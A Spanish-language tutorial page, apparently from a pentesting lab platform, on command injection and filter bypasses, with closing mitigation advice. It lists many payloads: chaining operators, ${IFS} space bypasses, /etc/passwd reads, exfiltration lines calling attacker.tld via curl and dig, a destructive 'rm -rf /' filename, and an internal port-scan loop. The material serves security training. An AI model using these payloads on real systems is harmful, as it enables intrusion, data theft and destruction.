Nuevos labs cada semana — Accede a todos desde 5€/mes

Nivel IntermedioGratis

Command Injection — bypasses con espacio, encoding y backticks

Inyección de comandos en endpoints que pasan input al shell. Bypasses de filtros: ${IFS}, $@, ;|&, encoded null bytes, output redirection a archivo.

Gorka El Bochi9 de mayo de 202610 min

Respuesta rápida

Command Injection ocurre cuando input del usuario llega al shell del servidor sin sanitizar. Vectores típicos: endpoints que pasan a system(), exec(), popen(), o construcción de comandos para conversores (ImageMagick, ffmpeg, ping, traceroute). Los bypasses se centran en operadores de chaining (;|&), espacios alternativos (${IFS}, $@), encoding (URL, hex), output redirection cuando no hay output visible.


Vectores típicos

Endpoints que llaman al shell:

  • Network tools: ping, traceroute, nslookup — input es la IP/host.
  • File converters: ImageMagick (convert input.jpg ... output.png), ffmpeg, LibreOffice.
  • Backups / restore: rutas de archivo en BD/filesystem.
  • Endpoints de admin: deploy, restart service, logs (tail -f /logs/<service>).
  • PDF generators: wkhtmltopdf <url>, headless Chrome.

Cualquier endpoint que tarde "lo que tarda un comando" (no milisegundos, sino segundos) es candidato.


Inyección básica

Si ?host=8.8.8.8 se ejecuta como ping -c 1 8.8.8.8, prueba:

ini
?host=8.8.8.8;id
?host=8.8.8.8|id
?host=8.8.8.8&id
?host=8.8.8.8&&id
?host=8.8.8.8`id`
?host=8.8.8.8$(id)
?host=8.8.8.8\nid          (URL-encoded \n = %0a)

El que devuelva el output de id (o un error que lo revele) confirma RCE.


Bypasses comunes

1. Sin espacios

Si el filtro bloquea espacio:

bash
{IFS}                  # Internal Field Separator
${IFS}                 # también funciona
$IFS                   # bash interpola
$IFS$9                 # IFS + var $9 (vacía) → separador
{cmd,arg1,arg2}        # brace expansion: ls{,/etc}
%09                    # tab URL-encoded (a veces parseado como espacio)

Ejemplo:

bash
# Original: ping -c 1 $host
# Filtra espacios

?host=8.8.8.8;id${IFS}-u
?host=8.8.8.8;cat${IFS}/etc/passwd
?host=8.8.8.8;{cat,/etc/passwd}

2. Sin caracteres especiales (;|& filtrados)

  • \n (%0a): newline a veces pasa filtros que solo bloquean lista explícita.
  • Subshell con backticks: \id``.
  • Subshell con $(): $(id).
  • AND condicional: && id (si & solo se filtra uno).

3. Encoded payloads

  • URL-encoded: %3B (;), %7C (|), %26 (&), %24%28...%29 ($(...)).
  • Double URL-encoded: %253B cuando la app decodifica dos veces.
  • Hex: en curl \x3b para ;.

4. Output redirection cuando no se ve la respuesta

Si el endpoint no retorna stdout, redirige a un archivo accesible:

bash
?host=8.8.8.8;id>/var/www/html/out.txt
# Luego curl https://target.tld/out.txt

O exfiltración via DNS:

bash
?host=8.8.8.8;`id|head -c 30|base64|tr -d '='|tr '+' '_'|read v;curl $v.attacker.tld`
?host=8.8.8.8;dig $(id|md5sum|cut -d' ' -f1).attacker.tld
?host=8.8.8.8;curl attacker.tld/$(whoami)

Burp Collaborator es ideal para ver los DNS hits.


Blind command injection

Cuando no hay output ni latencia obvia, usa time-based:

ini
?host=8.8.8.8;sleep 10
?host=8.8.8.8;ping -c 10 127.0.0.1
?host=8.8.8.8;`sleep${IFS}10`

Si el response tarda 10s vs <1s normal → confirmado.


Patrones específicos

ImageMagick — MSL y ephemeral:

ImageMagick tiene operadores que ejecutan código. Vector clásico via SVG con MSL o paths con ephemeral::

sql
ephemeral:|id
MSL[script with system call]

CVE-2016-3714 (ImageTragick) sigue presente en versions sin patch.

convert input.jpg output.png con nombre controlado

Si el output filename es controlado:

ini
filename = "shell.png\";id;\""
# Ejecuta como: convert input.jpg "shell.png";id;""

Quoting roto → injection.

ffmpeg con SSRF + RCE

ffmpeg con concat puede leer archivos arbitrarios o conectar a URLs:

csharp
file 'https://attacker.tld/payload.mp4'
file '|id'   (in some pipelines)

CVE-2017-7670 y derivados.

Filename inyectable

Cualquier endpoint que pasa nombre de archivo subido a un comando shell:

bash
filename = "x.jpg; rm -rf /"
# system("convert " + filename + " out.png")

Si la app no escapa, RCE directo.


Casos donde RCE no es directo pero sí impacta

  • Lectura de archivos arbitrarios via cat /etc/passwd o redirección.
  • Server-side request forgery via curl http://internal:8080/admin.
  • Discovery de internal hosts via for ip in 10.0.0.{1..254}; do nc -zv $ip 22; done.
  • Dump de variables de entorno via env (incluye AWS keys, DB credentials).

Cada uno tiene severidad propia incluso sin escalar a RCE pleno.


Detección a ciegas

Cuando no puedes confirmar fácilmente:

  1. Burp Collaborator OOB?host=$(curl${IFS}<random>.collab.tld) y observar si llega DNS/HTTP.
  2. Time-based con sleep distintos para confirmar (3s, 5s, 7s, mide cada uno).
  3. Output redirection a path web-accesible y leer.

Hunting checklist

  • ¿Hay endpoints con input que parece IP, hostname, filename, URL, path?
  • ¿El response tarda algo (>500ms) sin razón obvia? Probar inyección con ;sleep 5.
  • ¿La app usa converters (image/video/PDF)? Vector probable.
  • ¿Hay endpoints de "diagnóstico" en admin (ping internal IP, check DNS, etc)?
  • ¿El filtro bloquea ;|& pero deja \n o backticks?
  • ¿Si no hay output, probar OOB (DNS) y output redirection?
  • ¿Filename del archivo subido se usa en algún comando shell?

Mitigación correcta

  1. Nunca construir comandos shell con concatenación de string. Usar APIs nativas (net.sendto en lugar de system("ping")).
  2. Si inevitable (legacy), pasar args como array (no string concatenado): execFile('ping', ['-c', '1', host]) en Node.js.
  3. Whitelist estricta del input (solo IPs válidas, solo filenames con [a-zA-Z0-9._-]).
  4. Ejecutar el binario en sandbox/contenedor restringido (no como root).

Labs relacionados

Practica command injection con bypasses de filtros, OOB exfiltration y blind detection: labs de Command Injection.

Practica esto en un lab

Command Injection

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados